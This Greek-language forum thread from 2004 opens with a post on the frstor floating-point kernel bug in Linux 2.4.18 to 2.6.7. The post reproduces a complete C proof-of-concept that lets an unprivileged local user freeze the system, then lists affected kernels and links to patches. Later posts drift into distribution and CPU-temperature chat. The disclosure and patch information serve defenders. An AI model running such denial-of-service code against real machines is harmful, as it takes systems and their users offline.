PDA

View Full Version : Linux Kerel 2.4.2x και 2.6.x bug


Alarm
09-07-2004, 05:40
Αν και παει καιρος απο τοτε που πρωτοβγηκαν η εκδοσεις 2.4.2X ανακαλυπτηκε πως υπαρχει σφαλμα το οποιο μπορει να κρασαρει τον kernel καθως και το ολο συστημα se επεξεργαστες με
x86 και x86_64 αρχητεκτονικες. Το προβλημα 'στηριζεται' σε δεκαδικους αρηθμους.

Ακολουθει ο μικρος κωδικας σε γλωσσα C που μπορει να κανει αυτο το κακο.


/* --------------------
* frstor Local Kernel exploit
* Crashes any kernel from 2.4.18
* to 2.6.7 because frstor in assembler inline offsets in memory by 4.
* Original proof of concept code
* by stian_@_nixia.no.
* Added some stuff by lorenzo_@_gnu.org
* and fixed the fsave line with (*fpubuf).
* --------------------
*/

/*
---------
Some debugging information made
available by stian_@_nixia.no
---------
TakeDown:
pushl %ebp
movl %esp, %ebp
subl $136, %esp
leal -120(%ebp), %eax
movl %eax, -124(%ebp)
#APP
fsave -124(%ebp)

#NO_APP
subl $4, %esp
pushl $1
pushl $.LC0
pushl $2
call write
addl $16, %esp
leal -120(%ebp), %eax
movl %eax, -128(%ebp)
#APP
frstor -128(%ebp)

#NO_APP
leave
ret
*/

#include <sys/time.h>
#include <signal.h>
#include <unistd.h>

static void TakeDown(int ignore)
{
char fpubuf[108];
// __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
__asm__ __volatile__ ("fsave %0\n" : : "m"(*fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}

int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, TakeDown);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, ".", 1);

return 0;
}
// <<EOF


Kernels που επιρεαζονται:

@Linux 2.6.x
-2.6.7-rc2
-2.6.6 (vanilla)
-2.6.6-rc1 SMP (verified by blaise)
-2.6.6 SMP (verified by riven)
-2.6.6-debian (verified by arturaz)
-2.6.5-gentoo (verified by RatiX)
-2.6.5-mm6 - (verified by Mariux)
-2.6.5 (fedora core 2 vanilla)
-2.6.3-13mdk (Mandrake)
@Linux 2.4.2x
-2.4.26 vanilla
-2.4.26, grsecurity 2.0 config
-2.4.26-rc1 vanilla
-2.4.26-gentoo-r1
-2.4.22
-2.4.22-1.2188 Fedora FC1 Kernel
-2.4.20 RH7.3 (gcc 2.96)
-2.4.18-bf2.4 (debian woody vanilla)

Στα log του συστηματος δεν καταχωρειται τιποτα απολυτος.
Το σφαλμα που δεχεστε ειναι Floating point exception

Εκδοσεις που δεν ειχαν προβλημα ηταν η εξεις.

-Linux nudge 2.6.5-1um i686 (the user-mode Linux kernel) Dylan Smith
-Linux Kernel 2.6.4 SMP patched with staircase scheduler Guille
-Linux kernel 2.4.26-rc3-gentoo (gcc 3.3.3)
-Linux kernel 2.4.26_pre6-gentoo (gcc 3.3.2)
-Linux Kernel 2.4.25-gentoo-r1 Charles A. Haines (3G Publishing)
-2.2.19-kernel .

Πως λοιπον γινεται ολο αυτο:

Χριαζεται μονο ενας απλος λογαριασμος με shell ωστε να μπορει να τρεξεται το προγραμμα. Root δεν ειναι απαραιτητο.

Τι ακρηβως γινεται:

Το προγραμματακι βασιζεται στους δεκαδικους αρηθμους και στο οτι δεν αναγνοριζονται απο τους παραπανο kernels το οποιο οφειλεται σε μια Assembler εσφαλμενη εντολη. Αποτελεσμα να πευτει το συστημα σε ενα ατελες κυκλο (infinite loop). Οπως προανεφερα ο kernel δεν μπορει να επεξεργαστει δεκαδικους αρηθμους με αποτελεσμα οταν ερθει αυτη η περιπτωση να περνει το 100% της υσχης του επεξεργαστη με αποτελεσμα το συστημα να παγωνει.

Λυσεις:

Μπορειτε να βρειτα Patch για 2.4.2x Kernels, x86 και x86_64

--Για2.4.2x,x86: http://linux.bkbits.net:8080/linux2.4/gnupatch@40cdf6f8V7sOe5n96HA5Q7r9uDRvJQ

--Για x86-64: http://tomt.net/kernel/clear_fpu/
http://www.linuxreviews.org/news/2004-06-11_kernel_crash/24_kernel_ia32-and-x86_64-fix-fpu-state.patch.txt


Μπορειτε να βρειτα Patch για 2.6.xx Kernels, x86 και x86_64

--Για 2.6.x, x86: http://linux.bkbits.net:8080/linux-2.6/gnupatch@40cbb80fOHy9vCWmfUx3PVJBWei0Hw

--Για 2.6.x, x86_64: http://linux.bkbits.net:8080/linux-2.6/gnupatch@40cc5701-6qILlm9hOf5BaiXkR-yFg

alexandrosss
09-07-2004, 20:41
επειδη δεν είμαι πολυ σχετικός με τα linux τα kernel κάνουν για όλες της διανομές?
Η η κάθε μια έχει διαφορετικό kernel (λέγοντας διανομές εννοώ knoppix mandrake redhat suse Κλπ.)

Alarm
09-07-2004, 23:07
καθε διανομη ερχετε με καποιο συγκεκριμενο kernel. Αυτο φυσικα αλαζει.
Μπορεις να κανεις kernel update χωρις κανενα προβλημα. Με αλλα λογια περνας οτι κερνελ θελεις εσυ

alexandrosss
09-07-2004, 23:23
εγω δουλεύω μερικές φορές το knopixx live from cd.
σε εκείνο πως θα άλλαξω Kernel ?

Alarm
10-07-2004, 01:29
για το knoppix... δεν νομιζω. θα ελεγα πως οχι, ειναι live cd δεν κανεις καποια εγκατασταση ωστε να μπορεις να κανεις και τον κερνελ compile. Γιατι δεν περνας ενα σταθερο linuxaki ?

alexandrosss
10-07-2004, 10:39
γιατι δεν μπορώ να βρω cd εδω που είμαι, ψάχνω τα suse.

Alarm
10-07-2004, 13:58
Mandrake 10 (Discovery): http://www.mandrakelinux.com/en/ftp.php3

Slackware 10: http://www.slackware.com/getslack/

Debian: http://www.debian.org/CD/

alexandrosss
10-07-2004, 14:33
ευχαριστώ για τα link

aspirin
13-07-2004, 19:15
υπάρχει κανείς στην αθήνα που να πουλάει λινουξάκια για εμάς που δεν μπορούμε να τα κατεβάσουμε? Το κακό με το Ram είναι ότι βάζει όλο Mandrake.

Κάτι άσχετο: Με το Mandrake έχω idle 40C ενώ με τα ΧΡ έχω 48C!!! Αυτό πώς εξηγείται? Το hardware είναι ίδιο
!

DarthMoul
13-07-2004, 19:38
υπάρχει κανείς στην αθήνα που να πουλάει λινουξάκια για εμάς που δεν μπορούμε να τα κατεβάσουμε? Το κακό με το Ram είναι ότι βάζει όλο Mandrake.

Κάτι άσχετο: Με το Mandrake έχω idle 40C ενώ με τα ΧΡ έχω 48C!!! Αυτό πώς εξηγείται? Το hardware είναι ίδιο
!
Αν το θερμόμετρο δεν κάνει λάθος η μόνη εξήγηση είναι ότι τα windows τρώνε κύκλους μηχανής ακόμα και όταν κάθονται. :p

Η CPU σου για κάποιον λόγο δουλεύει και δεν στο δείχνει ο task manager.

aspirin
13-07-2004, 20:39
Αν το θερμόμετρο δεν κάνει λάθος η μόνη εξήγηση είναι ότι τα windows τρώνε κύκλους μηχανής ακόμα και όταν κάθονται. :p .


με σένσορα του aerogate μετράω πάντα τη θερμοκρασία. Τί μπορώ να κάνω στα windows τότε? O task manager πάντως δείχνει 0%.

Alarm
13-07-2004, 23:53
ψαξε για αλλους σενσορες (λογισμικο) για Linux .αν θυμαμαι οι καλυτεροι λεγονται ln_sensors i kati tetio

aspirin
14-07-2004, 00:13
Δεν υπάρχει πρόβλημα με τη μέτρηση της θερμοκρασίας. Τη θερμοκρασία του επεξεργαστή την μετράω με εξωτερικό πάνελ. Δεν τίθεται θέμα αξιοπιστίας ούτε λειτουργικού. Απλά όταν τρέχω το λίνουξ η θερμοκρασία του επεξεργαστή πέφτει κατακόρυφα. Δεν γνωρίζω μήπως κάνει κάποια ταρζανιά ο πιγκουίνος κ ρίχνει τη θερμοκρασία.

Alarm
14-07-2004, 00:55
Τοτε θα συμφωνιση με τον DarthMoul. Το Linux δεν τρωει πολλα resources για να ανεβασει θερμοκρασιες. Ενα μικρο παραδειγμα ειναι πως φορτονουμε ενα σορο servers σε ενα linux και εχουμε average load 1-3%.

Ζητω συγνημη για πριν, δεν ειδα οτι μιλουσες για εξωτερικο πανελ

DarthMoul
15-07-2004, 07:58
Δεν υπάρχει πρόβλημα με τη μέτρηση της θερμοκρασίας. Τη θερμοκρασία του επεξεργαστή την μετράω με εξωτερικό πάνελ. Δεν τίθεται θέμα αξιοπιστίας ούτε λειτουργικού. Απλά όταν τρέχω το λίνουξ η θερμοκρασία του επεξεργαστή πέφτει κατακόρυφα. Δεν γνωρίζω μήπως κάνει κάποια ταρζανιά ο πιγκουίνος κ ρίχνει τη θερμοκρασία.
Για το αν τίθεται ζήτημα αξιοπιστίας του λειτουργικού, θα μου επιτρέψεις να αμφιβάλλω. Να ανεβάζει θερμοκρασία η CPU ενώ στην πραγματικότητα κάθεται είναι μάλλον αδύνατο. Και αυτό να συμβαίνει μόνο όταν ανεβάζεις τα windows, ενώ ο task manager δείχνει 0%. Εγώ νομίζω ότι η CPU για κάποιο λόγο δουλεύει, αλλά ο task manager προτιμά να το αγνοεί. Με τα δεδομένα που μας έδωσες, άλλη λογική εξήγηση δεν βλέπω.

aspirin
16-07-2004, 19:35
Για το αν τίθεται ζήτημα αξιοπιστίας του λειτουργικού, θα μου επιτρέψεις να αμφιβάλλω. Να ανεβάζει θερμοκρασία η CPU ενώ στην πραγματικότητα κάθεται είναι μάλλον αδύνατο. Και αυτό να συμβαίνει μόνο όταν ανεβάζεις τα windows, ενώ ο task manager δείχνει 0%. Εγώ νομίζω ότι η CPU για κάποιο λόγο δουλεύει, αλλά ο task manager προτιμά να το αγνοεί. Με τα δεδομένα που μας έδωσες, άλλη λογική εξήγηση δεν βλέπω.


Μάλλον δεν έγινα κατανοητός. Εννούσα ότι η θερμοκρασία που μετράω είναι αξιόπιστη κ δεν εξαρτάται από το λειτουργικό γιατί την μετράω με εξωτερικό πάνελ. Τώρα γιατί τα windows ανεβάζουν δεν ξέρω. Πάντως δειχνουν συνεχώς 0%. ΊΣως πρέπει να ανοίξω νέο θέμα.

outlaw
20-07-2004, 13:29
υπάρχει κανείς στην αθήνα που να πουλάει λινουξάκια για εμάς που δεν μπορούμε να τα κατεβάσουμε? Το κακό με το Ram είναι ότι βάζει όλο Mandrake.

Κάτι άσχετο: Με το Mandrake έχω idle 40C ενώ με τα ΧΡ έχω 48C!!! Αυτό πώς εξηγείται? Το hardware είναι ίδιο
!
Μπορείς να παραγγήλλεις απο τον Παπασωτηρίου www.papasotiriou.gr (http://www.papasotiriou.gr) έχει το mandrake σχεδόν σίγουρα αλλά ακριβούτσικα. Μπορείς να παραγγήλεις και απο την Mandrake και γενικότερα απο όποιον θέλεις. Τέλος στο www.lankum.com (http://www.lankum.com) θα βρείς τις download editions όλων των διανομών σε εξεφτελιστικές τιμές. Έχω παραγγήλει άπειρες φορές και αν και είναι Αυστραλία σε 1 βδομάδα στην πόρτα σου!!!

aspirin
20-07-2004, 18:45
http://www.cheapiso.com/ kai auto exei akoma pio fthina alla den exo pistotiki. tespa k to mandrake pou exo kalo einai. as to matho auto k meta agorazo kati allo gia na do ti paizei!

DVD_GR
21-07-2004, 00:34
παιδια προσπαθω να κανω upgrade στο redhat 9 και ρωταει χιλιαδες πραγματα πριν τον κανω compile,υπαρχουν πουθενα precompiled πυρηνες ή ειναι ηλιθια η ερωτηση μου??

outlaw
21-07-2004, 13:34
παιδια προσπαθω να κανω upgrade στο redhat 9 και ρωταει χιλιαδες πραγματα πριν τον κανω compile,υπαρχουν πουθενα precompiled πυρηνες ή ειναι ηλιθια η ερωτηση μου??
Για το Redhat 9 δεν θα σου πρότινα precompiled (rpm). Πήγαινε στο www.kernel.org (http://www.kernel.org) και κάνε compile αυτόν που θές.